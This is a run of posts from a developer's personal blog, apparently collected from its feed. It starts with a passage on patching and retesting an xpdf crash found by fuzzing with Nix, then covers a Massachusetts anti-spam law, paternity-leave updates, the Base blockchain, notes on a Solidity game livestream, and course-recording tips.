To test my hypothesis, I’ll create a patch with this change, recompile xpdf, then re-run pdftotext against the same PDF to see if my fix prevents the same crash.

xpdf is a bit unusual for an open-source project in that it doesn’t publish a git repository, just periodic tarballs. But that’s okay. I’l create my own scratch git repository so I have a workspace for editing the code:

ORIGINAL_SRC="$(nix eval --raw .#xpdf.src.outPath)"
MODIFIED_SRC="$(mktemp --directory)"

pushd "${MODIFIED_SRC}" && \
 cp --recursive --verbose $ORIGINAL_SRC/* . && \
 chmod -R u+w . && \
 git init && \
 git add --all && \
 git commit --message "Dummy base commit"

I now have a copy of xpdf’s source code in a fresh git repository. I edit GfxFont.cc to make my fix:

vim xpdf/GfxFont.cc

When I’ve finished my edits and saved the file, I call git diff to create a patch file, which looks like this:

diff --git a/xpdf/GfxFont.cc b/xpdf/GfxFont.cc
index c3db4e8..7074354 100644
--- a/xpdf/GfxFont.cc
+++ b/xpdf/GfxFont.cc
@@ -535,7 +535,7 @@ void GfxFont::readFontDescriptor(XRef *xref, Dict *fontDict) {
 obj1.free();

 // scan font name for bold/italic tags and update the flags
- if (name) {
+ if (name && (name->getLength() > 0)) {
 i = name->getLength();
 if (i > 2 && !strncmp(name->getCString() + i - 2, "MT", 2)) {
 i -= 2;

I copy the patch back to my fuzz testing directory:

# Create a patch file for the fix.
git diff > check-font-name-length.patch

# Get back to fuzz-xpdf git repo.
popd

mv "${MODIFIED_SRC}/check-font-name-length.patch" .

With my patch file in the same directory as my flake.nix, I update my Nix flake to tell it to apply my custom patch when compiling xpdf:

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...
 src = pkgs.fetchzip {
 url = "https://dl.xpdfreader.com/${pname}-${version}.tar.gz";
 extension = "tar.gz";
 };

 # Add a custom patch to fix the font name length bug.
 patches = [
 ./check-font-name-length.patch
 ];

At this point, flake.nix should look like this.

I’m ready to test my fix. I recompile xpdf with my patch and run it against the PDF that caused the previous crash:

# Specify the path to the crashing PDF.
$ CRASHING_PDF='SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz'

# Rebuild pdftotext in the result folder
$ nix build

# Run pdftotext with the crashing PDF.
$ ./result/bin/pdftotext "${CRASHING_PDF}"
Syntax Error: Couldn't read xref table
Syntax Warning: PDF file is damaged - attempting to reconstruct xref table...
Syntax Error (2800): Bad dynamic code table in flate stream
Syntax Error (2800): Bad block header in flate stream
Syntax Error (2158): Dictionary key must be a name object
Syntax Error: Unterminated string
Syntax Error: Leftover args in content stream

And voila! pdftotext reports a lot of errors, but the program never crashes. My fix worked.

I discovered after finding a fix that someone else had reported the same vulnerability a few weeks before I found this crash, but it was still a useful exercise.

Wrapping up

I’ve found Nix to be an excellent tool for creating fuzz testing workflows.

It took a bit of work to figure out all of Nix’s odds and ends for use in fuzzing, but now it should be easy to drop in a different PDF parser or use a different fuzzer. The beauty of Nix is that it composes well, so it’s easy to swap out different components within the workflow.

This project ended up being a great way to learn more about both fuzzing and Nix. I’ve been dabbling in Nix for the last year, but using Nix in this way helped crystallize a lot of concepts that had been hazy for me.

Source code

The full source for my fuzzing workflow is available on Gitlab:

https://gitlab.com/mtlynch/fuzz-xpdf

Excerpts from xpdf are used under the GPLv3 license. Thanks to Anton Mosich for assistance with this post.

Massachusetts Residents Can Sue Online Merchants for Spam

Sun, 20 Oct 2024 00:00:00 +0000

Last week, I saw an interesting article on the /r/legaladvice subreddit. An e-commerce business owner was complaining that a customer was suing because the merchant had been sending the customer promotional emails for years that the customer never agreed to. The author deleted the post a few days later, but I found a copy of the text.

The merchant was indignant and felt like it was a shakedown, but I was 100% on the customer’s side. The merchant is in the wrong for spamming their customers with promotional emails they never requested, and so the merchant should suffer financial repercussions.

Promotional emails privatize profits and socialize costs

Promotional emails are a perfect example of businesses privatizing profits while socializing costs.

Suppose I buy a shirt from Bonobos. For me, that’s the last I want to hear from Bonobos until I decide to buy something else. But Bonobos will undoubtedly add me to their newsletter to encourage me to buy more from them. A new trend I’m noticing is merchants sharing my email with some review collection service that begs me to leave a positive review of the product to encourage other customers to buy.

Every promotional email a customer receives from Bonobos or any other merchant distracts them for 10-30 seconds. If Bonobos sends out 10 million emails per year, it wastes an aggregate of 3 years of consumer time.

But Bonobos doesn’t care because Bonobos doesn’t bear any of those costs. Bonobos pays a few hundred dollars to send those 10 million emails. In return, they probably get $100k or more in additional revenue because 0.1% of those emails successfully convinced people to purchase more products from Bonobos.

All the gains go to Bonobos, and almost all the costs go to the consumers who don’t want to waste their time with Bonobos’ promotional emails.

Who’s suing people for spam?

So, back to that reddit post. I wanted to know more about the case to see if I could start suing businesses who abused my email address.

I couldn’t find anyone that matched the details from the reddit post, but I did discover Dan Balsam of DanHatesSpam. He was actively suing businesses for spam from around 2002 to 2013, but I couldn’t find much from him since then.

Dan Balsam didn’t sound like the same guy as the redddit post, but his story helped me understand how someone could successfully sue for spam emails.

Dan was able to sue businesses because he’s a resident of California, which has the strongest consumer privacy laws in the US. In California, you can sue spammers for $1,000 per email:

A person or entity bringing an action pursuant to subparagraph (A) may recover either or both of the following:

(i) Actual damages.

(ii) Liquidated damages of one thousand dollars ($1,000) for each unsolicited commercial e-mail advertisement transmitted in violation of this section, up to one million dollars ($1,000,000) per incident.

California Code, Business and Professions Code - BPC § 17529.5

Does Massachusetts have a similar anti-spam law to California’s?

I hoped that my home state of Massachusetts might have a law like California’s so I could exercise my rights with spammers like Dan does.

It turns out that Massachusetts does have a law protecting consumers from spam, though it actually predates e-commerce.

The Massachusetts law is the Consumer Privacy in Commercial Transactions Act (or CPICTA). In commercial transactions, it forbids the merchant from collecting more personal information than necessary to complete a credit card transaction:

No person, firm, partnership, corporation or other business entity that accepts a credit card for a business transaction shall write, cause to be written or require that a credit card holder write personal identification information, not required by the credit card issuer, on the credit card transaction form. Personal identification information shall include, but shall not be limited to, a credit card holder’s address or telephone number.

Massachusetts General Law Chapter 93 § 105(a).

In 2011, Massachusetts resident Melissa Tyler filed a class-action lawsuit against Michaels (the crafts store) for collecting customer zip codes unnecessarily and using the information to send her marketing materials.

In 2015, Michaels agreed to pay class members $10 or $25 each in Michael’s coupons and $425k cash for in attorney’s fees. The $25 amount seems to come from here:

…if the court finds for the petitioner, recovery shall be in the amount of actual damages or twenty-five dollars, whichever is greater; or up to three but not less than two times such amount if the court finds that the use or employment of the act or practice was a willful or knowing violation of said section two…

-Massachusetts General Law Chapter 93a § 9(3)

Ongoing court cases

I happened to look into this at a lucky time because the law firm Bursor & Fisher, P.A. recently filed class-action suits against three online merchants for abusing customer emails to send marketing emails, in violation of the Massachusetts privacy law:

What does this mean for me?

Based on these cases, it seems like there’s precedent for Massachusetts residents to assert their rights against merchants who abuse their privacy.

Here’s my plan:

Record the checkout process when I buy something from an online merchant to capture the fact that I’m not opting in to promotional emails.
If I receive a promotional email, solicitation of a review, or any kind of email other than what’s strictly required to complete my purchase, I’ll send the business a 30-day demand letter telling them to send me a penalty of $25 and that subsequent emails after they receive my letter will be triple because at that point it will be willful violation of the law.
If they don’t respond or say they don’t owe me money, take them to small claims court and cite Massachusetts General Law Chapter 93 § 105(a).

I’ve never taken a business to small claims court, so part of it will just be interesting to see how the process works. I’ll post updates here as I proceed.

Paternity Leave: Month 2

Tue, 15 Oct 2024 00:00:00 +0000

Highlights

I’m finding it surprisingly difficult not to work.
Sleep is getting a little better.
I used Nix to create a slick and reusable fuzz testing workflow.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Enjoy family time

Result: Spent lots of time with my wife and our newborn son and had frequent visits with friends and family.
Grade: A

I’ll be okay if I don’t work for a bit

I never thought of myself as someone who needs to work all the time, but I’m finding it difficult to take time off.

When I look at how little I’ve gotten done work-wise in the last three months, I have this anxious feeling of, “What if this is my new normal? What if I have to make a living with only a few hours for work each month?”

I know these fears are mostly irrational. Tons of people have kids — they work regular hours, and it’s fine. And on top of that, I have lots of family nearby who are eager to help out with childcare.

It feels even more ridiculous to worry about having too little time to work when I look back at where my time has been going: long visits with family and friends and fun activities as a family.

It would be one thing if the situation were, “Oh no! Between feeding, diaper changes, and catching up on sleep, there’s zero time!” But instead, I’m basically reacting like, “Oh no! Between yesterday’s three-hour brunch and seven-hour visit with friends, I had no time for blogging!”

Another part of the equation is that I’m spending significantly more time hosting guests and visiting other people than I’m used to, so part of my anxiety is just an introvert’s exhaustion from extra social time.

So, I just have to remind myself that I’ll be okay if I don’t work for a bit, I’ll have more time as my son gets older, and I’m still largely in control of how I’m spending my time.

Refining our newborn sleep strategy

It feels cliché to talk about sleep as a new parent because all new parents seem weirdly obsessed with sleep. But good sleep makes a huge difference in our day-to-day, so I guess that’s why everyone talks about it.

Originally, my wife was doing all the feedings, and I was doing all the diaper changes. We quickly realized that meant that at nighttime, we both had to get up every 60-90 minutes, so neither of us was sleeping well.

A few weeks in, we switched to shifts, so one person handles both feeding and diaper changes while the other sleeps. I do the first shift from around 9 PM to 2 AM, and my wife takes over at my son’s first post-2 AM wakeup. That’s been a major improvement, as it guarantees that we each get 4-5 hours of uninterrupted sleep when we’re off-shift, plus a few scattered hours of sleep during our shifts.

We also noticed our son slept better when we took sleep hygiene seriously. We sometimes like to unwind with an hour of TV after dinner, but we noticed that on nights we skipped TV, everyone slept better, especially our son. And I used to read for an hour or two each night in our living room while my son slept, but we’ve read that having lights on can interfere with infant sleep, so I’ve stopped doing that, though I miss the quiet reading time with him.

Overall, our sleep strategies are working well, as I feel well-rested most days. We’ll keep adjusting as our son’s sleeping evolves and as we discover new techniques.

Nix is a surprisingly good tool for fuzz testing

About ten years ago, when I was working as a security consultant, I used fuzz testing to find a serious vulnerability in VLC, the open-source video player.

The tooling around fuzz testing has improved substantially in the last decade, so I’ve been curious to try out the latest state of the art.

I found Antonio Morales’ 2021 fuzz testing tutorial series. It uses AFL++, which I sense is no longer the top fuzzing tool, but I started the series. The first tutorial demonstrates how to fuzz xpdf, an open-source PDF processing tool. I modified the steps to target the latest version of xpdf, and I found a new out-of-bounds memory read bug, which was exciting.

It turned out that someone else had discovered the same vulnerability in September 2024, and that report was dismissed because it had been reported even earlier to the maintainer via private email. I suspect they found it by following the same tutorial I did. A few weeks after I found the series, it appeared on the front page of Hacker News, so people seem to be randomly discovering that three-year-old tutorial somehow.

One thing that stood out to me in all the fuzzing tutorials was how big a pain it is just setting up the environment. Morales directs readers to compile AFL++ from source with a specific version of Ubuntu, but those instructions are now out of date as all the packages he refers to have all changed since then.

Rather than hunt down all the package versions Morales was talking about, I saw an opportunity to use Nix. It allows me to pin tool versions in my source file and feel confident they won’t change out from under me in the future.

I was able to create the entire fuzz testing workflow in a Nix flake, so I just type nix run, and Nix downloads the initial corpus, compiles the target program, and starts fuzzing. I plan to publish a blog post later this month explaining how it all works.

Wrap up

What got done?

Enjoyed family time.
Worried about whether I was taking too much family time.

Lessons learned

My fears about taking too much time off from work are mostly irrational.
Nix is a good tool for creating fuzz testing workflows.

Goals for next month

Enjoy family time.
Publish my tutorial on fuzz testing with Nix.

Requests for help

What’s the modern equivalent of AFL++? Is it honggfuzz?
- If you work in infosec, let me know what the new, cool fuzz testing tool is.

Paternity Leave: Month 1

Wed, 11 Sep 2024 00:00:00 +0000

Highlights

My wife and I became parents.
I realized that caring for a newborn takes more time than I expected.
I’m unsure what to do with my partially-finished Hacker News course.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Finish recording my course

Result: Baby arrived early, and I only recorded 20% of the material.
Grade: N/A

Recording the course took longer than I thought, and the baby arrived a few weeks earlier than we expected, so I didn’t get to all the material.

Begin selling my course

Result: Baby arrived early, so I didn’t get to this.
Grade: N/A

Same as above. I didn’t want to do a pre-order because I was afraid of getting into a situation where I’m unsure when I could deliver the finished version.

We had a baby

In August, my wife and I became parents with the birth of our son.

We’re trying to be protective of our son’s privacy, so I took a photo of the three of us shortly after the birth and ran it through a hand-tuned Fast Fourier transform to remove identifying biometric details:

Photo of me, my wife, and our child soon after birth, post-processed with a privacy-preserving photo filter

Caring for a newborn takes longer than two hours per day

In preparing for the baby’s arrival, I planned to take two to three months of paternity leave, but I didn’t know what that would look like. My top priority would be caring for my son and wife, but I couldn’t understand how that would occupy entire days.

I knew that newborns needed breastfeeding and diaper changes, but how long could that take? Three, maybe four hours per day, split between two parents?

As you may have guessed, caring for a newborn isn’t like my normal day minus two hours. So far, it’s like a normal day minus 6-12 waking hours.

If you’re an expectant parent wondering like I did, here’s my explanation for where the time goes.

The most obvious change in time is sleep. Our baby sleeps well for a newborn, but that means that on a good night, he’ll do four sessions of sleep, each 90-180 minutes long.

Before the baby, I thought, “Oh, sleeping in two-hour chunks through the night sounds fine.” But I had a hidden assumption that it would be two hours of sleep, five minutes of diaper change, and then back to sleep. In reality, nighttime diaper changes take anywhere from five minutes to an hour, depending on how chaotic things get and how much soothing our son needs to get back to sleep.

So, we get 5-7 hours of sleep per night, but it takes 10-12 hours of real-world time to achieve that. We usually need to nap during the day, too, so that’s just even fewer waking hours. And even after sleeping and napping, we’re still sleepy, so we’re doing everything else more slowly than normal.

The other unexpected impact on time is the feeling that our household is suddenly short one player. Before the birth, I knew I’d have to take on most of the household chores that my wife and I usually share. But at the time, that didn’t seem like such a big deal. I can do all of the laundry and dishes and prepare two meals instead of one.

What I didn’t anticipate was that while my wife recovered from the birth and took on the new responsibility of breastfeeding for hours each day, she’d need support with things that we normally wouldn’t even consider “chores,” like picking up heavy jars, grabbing things from floor-level shelves, or just having a fresh glass of water next to her as she nurses.

So, I’m glad that I kept my schedule open so that I wouldn’t have any work responsibilities during this time. And each week, we find our rhythm a bit more and gain more free time so it doesn’t feel like we’re scrambling 24/7 to attend to our son’s next need.

What should I do with my Hacker News course?

Before my son’s birth, I taught my Hacker News course live each week to a pilot group of students. The students liked the material on writing and finding places to share your blog posts, but they didn’t care that much about Hacker News in particular.

At the time, I felt like it was a signal that I should focus less on Hacker News, but I didn’t have time to overhaul the course. I wanted to record all the material before my son’s birth, and I knew I wouldn’t have time to make such a large change and complete everything in time.

But my son arrived a bit early, so I’d only recorded 20% of the material for the course before he was born. Now, I’m wondering whether to keep going with the course or embrace that overhaul.

One other red flag I’ve noticed is that I put self-ads to my course all over my blog, and they’re not attracting any interest from my blog readers.

I added self-ads from this blog to my blogging course.

I get about 500 visitors per day on this blog, and the ads have brought no significant change in visitors to the course website.

I started running self-ads on mtlynch.io for my blogging course, but they had no noticeable impact on visits.

I have other ideas for marketing the course, but I’d like there to be a large overlap between the kind of people who read my blog and the kind of people who would be interested in taking one of my courses.

I found it hard to record videos before, but now that I have a baby, it’s even harder. The thing that’s feeling more appealing is to try circling back to Refactoring English.

Longtime readers of this blog may recognize Refactoring English as my oft-promised, never-delivered book about how developers can improve their writing. I promised to write in 2021, but then my business swallowed all of my time, and the book has been sitting on hold ever since.

My plan next month is to change my blog self-ad to be about Refactoring English and see if more people visit.

For now, here’s an excerpt from my Hacker News course that I recorded before my son was born. It’s about why I invest more into each blog post than most other bloggers do.

Making NixOS + Framework 13 AMD 7040 my daily driver

I’ve exclusively used Microsoft Surface tablets for my laptop needs for the past 10+ years, but I’ve finally gotten fed up enough with the direction Windows is taking that I’m preparing my complete exit from the Windows ecosystem.

I searched for a laptop that treated Linux as a first-class citizen, and I settled on Framework.

I initially resisted Framework because the idea of building my own laptop sounded tedious, which is strange because I enjoy building desktops and servers. But I don’t enjoy working in tiny spaces or with tiny tools, and building a laptop seemed like it would be a lot of that.

The experience of building my Framework laptop was surprisingly the best unboxing experience I’ve ever had with anything.

The Framework 13 surprised me by delivering one of the best unboxing experiences I’ve had with any technology.

Assembling my Framework was incredibly easy. I was expecting it to be like building a desktop from scratch where you’re assembling the chassis, the motherboard, etc., but most of the Framework is actually pre-assembled. The user portion of the assembly only took me 30 minutes, and I was going very slowly.

Framework’s assembly instructions are outstanding. I definitely experienced an “IKEA effect” where I feel more satisfied with my laptop from having assembled it myself.

I installed NixOS on my Framework, which has been satisfying but challenging.

In NixOS, all configuration happens through plaintext files. This is amazing when I want to install a program, and all I have to do is add a line to a file and run nixos rebuild. It’s less amazing when I just want to make the system clock display in AM/PM instead of 24-hour format, and I can’t find the magic incantation to make that happen via NixOS config files.

At this point, I like being in NixOS more than I like being in Windows, and I’ve been primarily a Windows user since Windows 3.1.

Wrap up

What got done?

Welcomed the birth of my son.
Recorded 10 chapters of my course and edited 9 of them.
Configured my Framework 13 laptop to be usable as a daily driver with NixOS.
Published notes about a blockchain project and why I’m confused about that particular blockchain.

Lessons learned

Caring for a newborn takes a long time.

Goals for next month

Enjoy family time.

Requests for help

There are a few NixOS quests I haven’t yet been able to complete. If you know how to complete these, let me know:

TPM+PIN unlock: There are a lot of tutorials for TPM-only unlock, but I’d like to protect the unlock process with a TPM PIN, which is how I run Windows laptops with BitLocker.
Stop Gnome from asking if I have a headset: There’s a longstanding bug in Gnome that it can’t distinguish between headphones or a headset, so it asks every time. I’d like to find the right NixOS incantation to tell it to assume headphones.
~~Configure Syncthing remote folders through NixOS~~ (done: see comments below): The NixOS wiki for Syncthing is pretty good, but one thing I can’t figure out is how to programmatically accept folders from peer devices. I can do it through the web GUI, but if I ever wipe the system, I’d have to re-do this step manually, which feels very un-Nix.

I'm Still Confused About Base

Sat, 07 Sep 2024 00:00:00 +0000

A year ago, I listened to an interview with Jesse Pollak on an episode of Into the Bytecode.

Jesse works for Coinbase, and he noticed that lots of developers building apps on top of Ethereum were solving the same problems over and over again. He started a project at Coinbase to create a layer on top of Etherum called Base. Base would get Ethereum developers up and running faster because they could use shared solutions to these common problems.

Jesse also hoped that Base would make Ethereum development more accessible to a wider array of developers by lowering the barrier to entry. His goal was to bring a billion users on-chain (i.e., interacting with the Ethereum blockchain in some way).

Base sounds great, in theory

Jesse’s ideas resonated strongly with me. I felt like I was exactly Base’s target demographic, as I’ve never done Ethereum development, but I’ve worked with other cryptocurrencies and was interested in Ethereum’s growing ecosystem.

But then I visited the Base website and basically hit a wall. It was filled with crypto insider jargon like this:

Base is built as an Ethereum L2, with the security, stability, and scalability you need to power your dapps. Confidently deploy any EVM codebase and onramp your users and assets from Ethereum L1, Coinbase, and other interoperable chains.

I pushed on, looking for some explanation of how Base achieves all the things that Jesse was talking about, but the Base documentation seemed to be mostly tutorials for general-purpose Ethereum development. I couldn’t understand why someone would develop on Base as opposed to Ethereum.

I’ve kept checking the Base website every few months, and I’ve interacted with Jesse a few times on Twitter. Every time I say that I don’t understand Base, he points me to the docs.

Me navigating the Base documentation today

I wrote up some notes this week about what I learned from watching Noah Bragg’s livestream about build a new game on top of Base.

My write-up caught Jesse Pollak’s attention, and he asked again where the disconnect is for me in the Base documentation, so I recorded a short video to explain what obstacles I see in learning about Base as a new developer:

This video is also on YouTube.

If you don’t feel like watching the whole video, my key points are:

The language on the Base website is very jargony and alienates potential developers who aren’t already familiar with Ethereum concepts.
The Base Learn site is organized in a way where you have to do a lot of boring toil (learning concepts, installing tools) before you can do anything fun with Base technology.
- I’d love to see a simple “Hello, World!” tutorial that lets the reader do something neat with Base with as few pre-requisites as possible.
The tutorials / lessons on Base Learn are tightly coupled, so the reader can’t pick their tutorials a la carte because the site assumes the reader has completed every tutorial before it.
- e.g., the Base Learn “Hello World” tutorial assumes you’ve installed Node.js and Remix from previous tutorials.
I think “Go by Example” is an excellent example of self-contained tutorials that effectively teach the reader about a new technology.

What I understand about Base

Base is a layer on top of Ethereum.
Base is a network, not a coin or token.
- You can’t buy 1 Base the way you could buy 1 Bitcoin or 1 Ethereum.
- Instead, you can transmit other coins and tokens on the Base network (e.g., you can send me 100 USDC via Base just like how you might send 100 USDC via the Ethereum network).
Base has low transaction fees.
- Currently, transaction fees on Base are about US$0.01 per transaction, whereas on Ethereum, they’re just under US$1.00.
Coinbase is currently driving Base, but the goal is for Base to work independently of Coinbase’s involvement.
- Because of Coinbase’s popularity with casual crypto users, there’s potential for a large population of crypto users to begin performing transactions using Base.

What I don’t understand about Base

Is Base just a drop-in replacement for Ethereum or is there something more?
- To develop on Base, do you essentially write all the same code you’d write for Ethereum but just select the Base blockchain at some point?
When Jesse talked about how Base was supposed to solve common problems from Ethereum development, how does it do that?
Am I the target audience for Base? Or is it designed for people who are already comfortable developing with Ethereum?
All the tutorials and examples I can find on Base’s website use heavy tech stacks with Typescript, Next.js, React, and friends. Are those necessary for Base development, or is Coinbase just using those technologies to court frontend developers?
- Jesse has pointed me to OnchainKit, but learning React and Typescript as a pre-requisite for learning Base is very unappealing.
- Is there a version of onchain development where I just write some code in a text editor and deploy it with a command-line tool?

Noah Bragg's First Stoke Fire Livestream

Wed, 04 Sep 2024 00:00:00 +0000

I’ve been interested in Ethereum the past year, especially the Base ecosystem. The problem is that after hours of reading about Base, I still don’t get what Base is.

Every few months, I check back in on the Base website’s developer section to see if there’s a path to building on Base for a beginner, and the path seems to be “here are some disparate tutorials for very specific things, and if you have questions, come ask us on Discord.”

So, I was excited to see that Noah Bragg, an indie founder I follow on Twitter, has started livestreaming his process of building a simple game on top of the Base ecosystem.

Indie founder Noah Bragg is livestreaming the process of building a game on top of the Ethereum blockchain.

I watched Noah’s first stream, and I’ve shared my takeaways below.

The game: Stoke Fire

Stoke Fire is a resource management game where you chop wood in your village to stoke an ongoing fire to keep the village warm.
Inspirations
- Age of Empires II, which Noah played as a kid.
- A Dark Room, a text-based web game.
- Manor Lords, a total war simulation built by a solo dev over the past six years.
Game will be free to play to encourage participation.
Game will save state in NFTs to make it easier to transfer between wallets, but Noah doesn’t anticipate people trading their game state NFTs the way they do with art NFTs.
He’s building on the Base blockchain because he expects consumers to be there due to Coinbase’s investment.

Early access

Early access to Stoke Fire is available via Noah’s I Must Build subscription on Hypersub.
- Hypersub is like Patreon for on-chain.

What happened on the stream

Noah added support in the game for using wood to build huts.
He started to implement functionality to attract villagers based on what resources are available in the village, but he ultimately paused work midway through because he was mentally exhausted.

Solidity

Noah is using Solidity for smart contract development.
- He’s heard of Vyper. He hasn’t used it because the ecosystem around Solidity is so much more mature than anything else.
- He’s never heard of Huff.

Note from Michael: Solidity continues to gross me out. In a domain where correctness and readability is critical, Solidity introduces tons of needless footguns and gotchas. It’s like they studied C++ and JavaScript tirelessly in order to adopt the absolute worst features from those languages.

Diamond

Diamond is a framework for deploying smart contacts that are mutable after publication.
- Normally, Ethereum smart contracts are immutable once they’re deployed.
- Diamonds offer “upgradeable” smart contracts, so you can change them after they’re deployed.
Diamonds weakens guarantees of smart contract, but it facilitates iteration for projects like Stoke Fire.
“Facets” are (I think) the modifiable parts of the smart contract.

Note from Michael: Managing facets seems tedious and is the most brittle part of the code Noah showed. He has to manually declare several different arrays and then manually index into them when adding new facets, at one point struggling for a while to match the facet count to the array size in a buried declaration. Commenters in the chat said you can use helpers to get facets automatically, so maybe there’s an easier way of achieving this.

Forge

Noah is testing his smart contract logic using Forge.
Noah felt positively about Forge.
- He likes that Forge allows him to write tests in Solidity because he can share a lot of code with his production smart contracts.
- Forge makes it easy to test different blockchain conditions like timestamps and wallet balance.
Noah had trouble parsing Forge’s output at times, and I personally found it extremely noisy and difficult to read.

I found Forge’s test output very noisy
- When an assert fails in Forge, it doesn’t print the line number that caused the failure. At one point in the stream, the failure Forge prints is just 5 != 4, and it’s on the developer to figure out where the assertion is in source. I’ve never seen a test framework not print out the line number of where an assertion failed.
In order to assert that Noah’s production code threw a particular error, he has to redefine the error in his test code, which I found strange.

Warpcast has a web app

Farcaster is like the Ethereum equivalent of Twitter or Mastodon.
Farcaster makes it look like Warpcast is mobile-only, but I realized from Noah’s stream that Warpcast has a web app.
- I think you still need the mobile app to create your account.

Streaming

Noah had a peak of 250 viewers.
- At the end, it turns out he’s not sure if this is concurrent viewers or the total aggregate count that tuned into the stream at any point.
Most viewers came from Twitter.
He was admittedly rusty at livestreaming and had a lot of dead air during the stream.

Opportunities for improvement

Convenience dev scripts

Noah at one point got stuck for several minutes trying to remember how to run tests for a single test rather than executing his full test suite every time. He eventually found the syntax, with help from users in the chat:

forge test --match-contract BuildFacetTest -vvvv

For difficult-to-remember command-line syntax, I suggest writing a convenience script and storing it in the repo. Instead of remembering the right syntax for running a single test across the many tech stacks you work on, you’d run a command like this:

./dev-scripts/run-single-test BuildFacetTest

I do this with several of my repos.

Noah is already using make, so these could instead be make commands.

Make tests more maintainable

Noah’s final integration test for the build hut feature looks like this:

function testBuildHut() public {
 vm.prank(USER);
 ResourceFacet(address(diamond)).chopWood(1, someWhatRandNum);
 vm.warp (1719981068 + 1 days); //set the block time to the future so I can chop wood again

 vm.prank(USER);
 ResourceFacet(address(diamond)).chopWood(1, someWhatRandNum);

 vm.prank(USER);
 BuildFacet(address(diamond)).buildHut(1);

 Village memory village = VillageFacet(address(diamond)).getVillage(1);
 assertEq(village.timeLastChoppedWood, block.timestamp);
 assertGe(village.wood, 4); //at minimum 2 wood per chop.
 assertLe(village.wood, 12); //at maximun 6 wood per chop.
 assertEq(village.huts, 1);
}

I see a few opportunities for improvement with this test.

First, the test depends on a pseudorandom number generator (PRNG) that makes the logic really confusing. For the tests, Noah has seeded the PRNG to a fixed value so that the random sequences repeat from test to test, but it still makes the test logic difficult to follow.

In the stream, Noah had to keep blindly adding wood chops to the test to see when it would pass. He finally just changed the random seed to a different value so that the test would pass with only two chops. And that’s why the test can’t assert the exact amount of remaining wood; it’s just guessing that it’s within some range. It’s impossible to verify the correctness of this test without actually executing it.

If I were working on the code, I’d probably mock out the wood chopping functionality for a test implementation that lets me define the exact amount of wood to emit per chop. Or, if we wanted to exercise the real wood emitting code, use a fake random number generator that emits a specific sequence of numbers rather than hardcoding a seed.

The other issue is that a lot of the function parameters are unreadable at the callsite. Like buildHut(1) or chopWood(1, ...), it’s unclear what the 1 represents and whether the several 1 magic numbers in the test refer to the same value or just happen to all equal 1.

Unanswered questions

Why blockchain?

My biggest question at the end of the stream was: why blockchain?

Noah mentioned that he wanted to try something more original on the blockchain, and that’s what got me interested, but I still can’t figure out how the blockchain helps.

So far, it seems like the blockchain is making everything 10x more complicated and doesn’t offer any benefit over just sticking everything in a single-instance SQLite database.

Similarly, I don’t yet have an answer to the question I was hoping to answer of, “What the heck is Base?” I’m still not sure why Noah is building on Base rather than directly on Ethereum or some other chain. He mentioned Coinbase’s investment, but I don’t understand what that means for developers like Noah.

My, what large ints you have!

I noticed that Noah frequently uses uint256 in places where it seems like massive overkill, like timestamps or counts of wood. When the game currently awards 2-4 pieces of wood per “chop” action, it’s hard to imagine needing to store the result in a uint256.

Don’t such large integer types increase gas fees?

From working on my own EVM implementation, I know the Ethereum network charges for data that has to be processed, ~~so pushing a 256-bit value onto the stack is 8x more expensive than pushing a 32-bit word.~~ (Edit: Pushing a 256-bit word and a 32-bit word actually cost the same. Thanks to a14u for the correction.)

I’m not sure if this is just an oversight, or if the gas fees are actually less than I imagine.

Why the underscores?

Noah is using a naming convention where he prepends all function parameter names with underscores.

I’ve never seen the convention of preprending function paramter names with underscores, and I’m not sure why Noah is doing it.

I recognize this convention from Python and JavaScript to hint to the reader that the variable is private/protected, but aren’t function argments already private? I’ve never seen this convention before in my admittedly limited reading of Solidity code.

Educational Products: Month 2

Wed, 07 Aug 2024 00:00:00 +0000

Highlights

I learned a few techniques that make it easier for me to record videos for my course.
I’ve decided I don’t need to use a Merchant of Record service.
I’ve integrated htmx into my standard toolkit for making web applications.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Record publishable versions of four lessons from the course

Result: Recorded most of one lesson
Grade: D

I forgot how long it takes to record videos! And I underestimated the amount of work I had outside of recording. Most weeks, I didn’t have time to record at all, but now I’m in the swing of recording.

I can record five to ten minutes of usable footage per hour of recording, and I get exhausted from recording after 90-120 minutes. On a focused week, I recorded a complete 45-minute lesson, but I can speed up now that I’ve finished teaching my live course.

Start selling the new version of the course

Result: Did a waitlist instead of selling a partial course.
Grade: N/A

I decided to hold off on selling the new course. I initially thought I’d offer the new version and advertise the course as discounted for early access while I work on it but offer the old 2020 recordings in the meantime. I realized that it’s hard to package that in a clean way.

I might not finish the course by the time my wife goes into labor, and I want to take a few months of paternity leave when the baby arrives. I don’t want to feel like I owe students the rest of the material they purchased while I’m on leave, so I decided to offer a waitlist instead of a pre-order.

Improvements in recording videos

When I’m recording videos for my course, there are a lot of things that can interrupt a recording session or prevent me from recording at all. I’ve been working on reducing the friction to recording so that I can start recording more quickly and make myself less vulnerable to interruptions.

Get a desk tripod

For video recording, I use a Razer Kiyo webcam that sits on top of my monitor. The problem is that getting the camera to a good height requires a lot of manual adjustment.

I use a Razer Kiyo webcam for recording.

I normally keep my desktop monitor so that the center of my monitor is roughly at my eye level. But if my monitor is at eye level and the webcam sits on top of the monitor, then the camera angle is looking down on me.

To get a good camera angle, I was adjusting my monitor arm and desk height to keep the camera level with my eyes. But moving my monitor around added a lot of friction to recording, and I couldn’t ever reproduce the exact camera position from one recording session to the next.

I solved my camera problem with a small, desk-sized tripod: the SmallRig VT-20.

I bought a desktop tripod so that I don’t have to reposition my desk or monitor to begin recording.

I keep the tripod between me and my monitor during recording sessions. I marked the position of the legs on my desk with painter’s tape so that I can reproduce the position each time.

Having the tripod means that when I want to record, I just drop the tripod and camera on my desk, and the position is instantly correct. It’s a big win in terms of reducing friction, and it’s also nice to record with my normal desk setup rather than fiddling with the heights of everything before and after each session.

The one downside of the tripod is that it partially obstructs my view of my slides, but by the time I’m recording, I’ve memorized them anyway.

Mounting the webcam on top of my monitor (left) vs on a desk tripod in front of my monitor (right). The tripod makes it easier for me to look directly into the camera.

Keep recording equipment connected

I used to keep my webcam in a drawer between recording sessions. I’d keep the microphone and arm in another room. That meant that the first five minutes of every recording session were me just gathering equipment and setting it up on my desk.

